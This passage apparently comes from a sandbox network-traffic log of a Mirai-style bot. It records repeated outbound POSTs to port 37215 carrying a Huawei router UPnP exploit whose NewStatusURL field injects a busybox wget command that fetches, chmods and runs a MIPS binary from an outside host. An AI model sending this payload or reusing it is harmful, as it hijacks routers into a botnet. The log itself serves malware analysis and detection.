/faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.13	40264	156.241.81.175	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:31.429922104 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.13	40964	122.228.242.29	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:31.489170074 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:33.372590065 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:35.740596056 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:40.348514080 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:53:49.308638096 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:07.228600979 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:44.092526913 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.13	40196	94.121.217.135	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:53:31.723233938 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.13	56186	156.254.111.167	37215

Timestamp	Bytes transferred	Direction	Data
